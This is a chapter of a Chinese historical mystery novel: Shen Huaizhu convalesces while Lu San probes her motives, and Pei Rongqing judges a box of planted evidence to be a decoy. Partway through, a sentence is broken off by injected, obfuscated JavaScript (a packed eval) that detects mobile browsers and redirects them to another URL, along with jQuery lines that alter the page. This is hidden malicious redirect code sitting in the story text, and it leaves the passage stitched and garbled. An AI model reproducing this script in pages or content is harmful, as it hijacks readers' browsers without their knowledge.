“孙玉才也在场?”沈怀珠趴在功德箱支起的床塌上,惊讶道。
陆三颔首。
阿云推门而入,小心翼翼地端着药碗,“阿姐,喝药。”
药汤呈浑浊褐色,汩汩热气裹挟着涩苦味钻进怀珠的鼻腔。她面露难色,往后仰了仰身子,“先放下,等会我再喝。”
阿云“哦”了一声,把碗放下,还没落到桌面,就有人伸手接过。
陆三舀起一勺,笑眯眯地喂到怀珠嘴边,“良药苦口,不吃药伤怎能好?”
沈怀珠恶狠狠瞪他,这人还真是睚眦必报,字字句句都藏在心里,半点亏都不肯咽。她偏过头,“不吃药伤也能好。”
几日前她以徐国舅好友的身份在官驿门前大闹一场,给足裴青词想要的借口。演罢大戏,她再难支撑昏过去,迷迷糊糊记得有人抱她回来,再醒来已躺在观音庙,伤口都被处理好。
陆三收回汤匙,话锋一转,“风流客兴起,玩的过火很常见。知府的亲兄弟,皇商的亲子,哪个都落不着刑狱。即便你以身入局,赔上半条命也没用。”
“你——”话虽难听,怀珠却也清楚,他说的没错。莫说赔半条性命,就是她整条命搭进去也是水落汪洋,激不起半点浪花。她闭了闭眼,“药拿来,我喝。”
夺过药碗,怀珠没再犹豫半分,仰头灌下去。她定定地望着陆三,饮尽最后一滴苦汁,“你知道什么,现在可以说了。”
陆三视线落在空空的药碗里,掏出几粒碎银子,“阿云,你知道胭脂斋怎么走么?”
阿云迟疑点头,“小西街头一家就是。”
陆三柔声问:“你阿姐太怕苦,你可愿意去给她买些蜜饯回来?顺带买些你自己喜欢吃的点心。”
阿云看向怀珠,见她应允,才双手接过银子,蹦蹦跳跳地往小西街的方向跑去。
“我什么也不知道,只是猜测罢了。在你的逼迫下,大理寺为难地通知香云楼要例行公事搜寻,你觉得能搜出来什么?难不成是足以致人死地的罪证么?”陆三微微勾唇,淡淡道。
怀珠答道,“自然是什么也搜不出来。”顿了顿,她又再次出声,“搜不出来,才是最值得搜的,恐怕现在裴少卿的案头早已摆上他想要的东西。”
陆三追问道,“那你呢?想要的东西得到了么?”
怀珠语调冷清,“他们早晚会死。”
陆三目不转睛地注视着她陡然冷肃的神情,想要透过她冰晶般的眸子,看到她心里藏的秘密。恨,她在恨,她究竟在恨什么?从她出现在他视线里时,他就敏锐捕捉到她尖锐的恨意。精心设计冒充沈氏女,千里迢迢跑到鄞州来查举子闹事的旧案,到底为的是什么?难不成,当年有举子逃过一劫?而她便是来替义父引蛇出洞,斩草除根的?
望着她久久难抑的恨意,陆三心内暗讽,演技倒是真好。
.
子夜静寂,官驿西侧的院子灯影重重,偶尔还传出怒骂声,是裴少卿在斥责手下的人。“没用的东西,要你们有何用!”断断续续,折腾到寅时,才渐渐消歇。
东侧的院子则恰好相反,不到亥时便熄灯就寝,安静的悄无人声。不见五指的院落里,廊檐下立着个面目模糊的男子,正凝神静听隔壁传来的动静。值夜的小厮着急上茅房,路过时冷不丁瞥见黑影,顿时吓了一跳。提心靠近,看清站着的是谁,忙弯下腰作揖,“大爷安好,夜深风凉,大爷还是早些歇息吧。”
男子回身,微微颔首,踱步离开。小厮望着他消失在拐角的背影,挠了挠头。
书房里,陆清执凝视着案头摆着的锦盒,眉头紧锁。他们要沈氏女大闹官驿,放出大理寺要搜查香云楼的消息,本就是试探。香云楼若干净自不必言,倘若有见不得人的,必会赶在搜查前偷偷转移。这个锦盒便是香云楼转移出的东西,外加两件男子衣袍和一罐落桑酒。
扶影望着那罐落桑酒,眼底愤恨难掩,骂道,“裴忠这个狗杂碎当真还活着,这盒子里定然是他偷走的兵符!陆主簿,咱们快请公子回来打开瞧瞧,好赶紧抓了裴忠活剐,为兄弟们报仇!”
陆清执拿起锦盒打量片刻,又重新放回原处,“瞌睡刚来就有人递上枕头,我总觉得,这些东西来的太顺利,太巧合。”
扶影撇嘴,“陆主簿,你是不是想的太多,这定是兄弟们在天之灵保佑,要让恶人伏法。”
“不,我总觉得有什么地方不太对——”陆清执敛声,陷入沉思。
扶影道:“青州苦寒,军中的兄弟们常常冻的浑身发僵,全赖落桑酒暖身。这等烈酒唯独青州产酿,因其口感辣苦,在民间不大受欢迎,却在军中是硬通货。能喝的下这酒的,只有在青州风雪里扛过的玄铁军。”
“陆主簿你到底没到过青州,没见过玄铁军,不知他们活生生被虐杀死的悲惨模样,自然疑心重重,不敢随意踏出半步。既如此,我亲自去禀报此事,由公子决断。”说罢,扶影哼了一声,抬脚往门外走。
“不必,我回来了。”房门被人推开,进来的人正是趁夜归来的裴容青。他穿着的仍旧是陆三的粗布衣裳,为掩人耳目,在外头罩着件黑色披风。
“公子——”
扶影才开口,就被裴容青抬手打断,他径直走到案前,拿起那罐落桑酒,放到鼻尖嗅闻,“是落桑酒不错。”
陆清执抬头,问道:“你也觉得这是裴忠的东西?”
“不,恰恰相反。这罐落桑酒,绝不可能是裴忠的物件。”裴容青放下酒罐子,缓缓道。
扶影急了,“公子,这明明就是……”
裴容青走到太师椅前头,转身坐下。灯影跳动,照得他眸光若火,悲喜莫测,“裴忠喝不惯落桑酒,总要在酒里加琼花冰糖,这两样东西在青州不好买,他便常常托人从外地稍,又恐怕浪费得来不易的琼花和冰糖,总是贴身揣着,久而久之,他身上总沾染着淡淡的琼花味道。”他的视线落在酒罐旁边的两件衣袍,淡声道,“这两件衣服上并没有琼花味。”
扶影惊讶,快步到案前拿起衣袍嗅闻,果真只有淡淡皂荚味。
“有人刻意把这些东西送上来,为的是混淆视听。同时,他知道你在暗查青州的事。”陆清执少有的严肃,裴容青的身份敏感,本就惹金銮殿里的那位处处猜忌,若坐实他想为玄铁军翻案的事,会万劫不复。
裴容青莞尔,神秘笑道,“谁说这是我在查呢?”
.
一大早醒来,沈怀珠觉得头昏脑胀,难受得紧。她睡觉素来不安稳,稍有动静就要惊醒,时常反复折腾整夜。奇怪的是,昨夜竟没惊醒,反倒是做了个长长的梦,直到天明。
“醒了?”陆三跨进
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319492|167411||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门槛,手里提着浸油的纸袋,散发阵阵热气。
怀珠奇怪道,“这是什么?”
陆三拿过来,塞到她面前,“包子。”
“哦。”怀珠起身,接过包子放到嘴边,啃了一口,面露难色道,“羊肉馅儿的?”
陆三点头,“你昨夜喊了半宿要吃甜包子,我寻遍街巷都没找到,这家胡记包子铺在鄞州算是一顶一的,羊肉包子是招牌,难买的很,我足足排了一个多时辰才买到。”
“……我从来不吃羊肉。”怀珠放下手里的包子,飞快解释道。
坐在桌边专心吃包子的女孩听到对话,点点头,“陆三哥,我阿姐确实不吃羊肉。不过,这包子很香,阿姐你真的不再尝尝吗?”说着,阿云又大咬一口,满足地咀嚼着。
“那你没口福了。”陆三捞起怀珠咬了一口的包子,可惜地摇摇头,吃了一半,又好奇问道,“甜包子是什么?”
甜包子?
沈怀珠摇摇头,她也不知道。但这么个名字,却好像曾在哪里听过。耳边忽然响起小小女孩稚嫩的声音,“阿娘,我想吃甜包子,你偷偷给我做好不好?不给哥哥吃。”
是她昨夜的梦。
梦境碎片渐渐拾起拼凑,她看到一个穿着粉色花罗做成的衣裙,衣领处还绣着栩栩如生的小兔子的女童,央求正在梳妆的雍容妇人给她做吃食,口里嚷着“甜包子”,得到妇人宠溺答应,又气鼓鼓地叉腰,不愿让哥哥知道。
场景倏尔扭曲,切换到湖边,有棵粗大的歪脖子树。女孩仰头望着高高的树枝,哇地哭出了声。树后走出个比她高半截的小男孩,嘲笑道,“哭什么,不就是只纸鸢,也值得这般伤心?”
女孩儿边揉眼睛边哭嚎,“这是阿爹给我做的,你就是嫉妒阿爹只给我做,不给你做,才故意把纸鸢挂上去的,哥哥坏,我要告诉阿爹阿娘,让他们罚你手板,再抄一百遍书!”
刚做完鬼脸的男孩听到这话,登时恼了,“你就会告状,我看你不该叫阿妤,该叫告状精!”
女孩听罢这话,哭的更大声,惊天动地,震得湖水都荡起涟漪。
画面陡然变化,深夜,犹挂着泪痕的女孩推开哥哥的房门,蹑手蹑脚走到书案前,握着毛笔,将他白日里抄的书句涂画了个稀烂。解了气,她才又蹑手蹑脚,准备逃走。才迈出半步,有个什么东西却绊住她的脚,扑倒在软垫上。她回头,发现绊倒她的是只还未做好的兔子纸鸢。
……
“哎,你发什么呆?”陆三连连在怀珠眼前摆手,都不见她回神。
沈怀珠抬眼,不耐烦地道,“吃你的包子,管我做什么。”
她不是头一次在梦里见到女童,只是从前多是模糊身影。瞧着穿衣打扮,家里陈设,应该是家境极好的世家贵女,上头还有个逗她玩闹的哥哥。翻阅过去十九年,她自认家里从未有过这样温情的时刻。父亲清廉,只靠俸禄养家,所以家里过的并不宽裕。再有她那位兄长,从来不曾给过她好脸色,自小便对她非打即骂,恶作剧般把她诓骗到祠堂锁起来,迫使她在祠堂独自过夜更是经常。
天差地别的处境,她如何会梦到这些呢?还是说,其实她也曾渴望过,这样温情的时刻。
陆三打断她低落自艾的心绪,话音如惊雷,“苏子城被抓到府衙大牢里了,今早的的事。”